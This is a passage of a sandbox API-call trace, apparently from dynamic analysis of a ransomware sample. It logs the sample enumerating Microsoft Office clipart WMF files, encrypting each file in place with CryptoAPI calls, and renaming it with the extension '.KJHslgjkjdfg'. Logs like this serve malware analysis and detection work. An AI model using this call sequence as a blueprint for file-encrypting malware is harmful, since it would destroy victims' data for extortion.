dwFlags=0x0) returned 1 [0192.598] GetProcessHeap () returned 0x2ef0000 [0192.598] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.598] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.598] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.598] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.598] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.599] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.599] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.599] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.599] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.599] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.599] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.599] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.599] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1d74, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1d74, lpOverlapped=0x0) returned 1 [0192.600] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1d80, dwBufLen=0x1d80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1d80) returned 1 [0192.600] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.600] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1d80, lpOverlapped=0x0) returned 1 [0192.600] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.600] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.600] SetEndOfFile (hFile=0x130) returned 1 [0192.602] GetProcessHeap () returned 0x2ef0000 [0192.602] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.602] GetProcessHeap () returned 0x2ef0000 [0192.602] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.603] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.kjhslgjkjdfg")) returned 1 [0192.607] CloseHandle (hObject=0x130) returned 1 [0192.607] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec9bd00, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcec9bd00, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0x19e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN02559_.WMF", cAlternateFileName="")) returned 1 [0192.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.607] GetProcessHeap () returned 0x2ef0000 [0192.607] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.608] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.608] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.608] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.612] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.613] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.613] GetProcessHeap () returned 0x2ef0000 [0192.613] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.613] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.613] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.613] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.613] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.613] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.613] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.613] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.613] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.613] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.613] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.613] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.613] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x19e8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x19e8, lpOverlapped=0x0) returned 1 [0192.614] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x19f0, dwBufLen=0x19f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x19f0) returned 1 [0192.614] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.614] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x19f0, lpOverlapped=0x0) returned 1 [0192.614] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.614] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.614] SetEndOfFile (hFile=0x130) returned 1 [0192.616] GetProcessHeap () returned 0x2ef0000 [0192.616] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.617] GetProcessHeap () returned 0x2ef0000 [0192.617] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.617] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.kjhslgjkjdfg")) returned 1 [0192.623] CloseHandle (hObject=0x130) returned 1 [0192.623] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b6bc300, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b6bc300, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN02724_.WMF", cAlternateFileName="")) returned 1 [0192.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.624] GetProcessHeap () returned 0x2ef0000 [0192.624] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.624] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.624] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.625] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.626] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.626] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.627] GetProcessHeap () returned 0x2ef0000 [0192.627] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.627] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.627] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.627] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.627] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.627] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.627] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.627] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.627] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.627] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.627] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.627] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.627] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x83c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x83c, lpOverlapped=0x0) returned 1 [0192.627] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x840, dwBufLen=0x840 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x840) returned 1 [0192.627] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.627] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x840, lpOverlapped=0x0) returned 1 [0192.628] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.628] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x914, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.628] SetEndOfFile (hFile=0x130) returned 1 [0192.630] GetProcessHeap () returned 0x2ef0000 [0192.630] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.630] GetProcessHeap () returned 0x2ef0000 [0192.630] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.630] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.kjhslgjkjdfg")) returned 1 [0192.633] CloseHandle (hObject=0x130) returned 1 [0192.633] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c87b100, ftCreationTime.dwHighDateTime=0x1bd4c18, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c87b100, ftLastWriteTime.dwHighDateTime=0x1bd4c18, nFileSizeHigh=0x0, nFileSizeLow=0x2418, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN03500_.WMF", cAlternateFileName="")) returned 1 [0192.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.634] GetProcessHeap () returned 0x2ef0000 [0192.634] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.634] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.634] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.634] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.636] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.636] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.636] GetProcessHeap () returned 0x2ef0000 [0192.636] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.636] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.636] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.636] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.636] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.636] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.636] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.636] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.636] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.637] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.637] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.637] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.637] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2418, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2418, lpOverlapped=0x0) returned 1 [0192.638] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2420, dwBufLen=0x2420 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2420) returned 1 [0192.638] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.638] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2420, lpOverlapped=0x0) returned 1 [0192.638] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.638] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x24f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.638] SetEndOfFile (hFile=0x130) returned 1 [0192.640] GetProcessHeap () returned 0x2ef0000 [0192.640] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.640] GetProcessHeap () returned 0x2ef0000 [0192.640] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.640] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.kjhslgjkjdfg")) returned 1 [0192.655] CloseHandle (hObject=0x130) returned 1 [0192.655] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x928, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04108_.WMF", cAlternateFileName="")) returned 1 [0192.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.656] GetProcessHeap () returned 0x2ef0000 [0192.656] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.656] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.656] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.656] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.658] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.658] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.658] GetProcessHeap () returned 0x2ef0000 [0192.658] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.658] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.658] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.659] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.659] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.659] 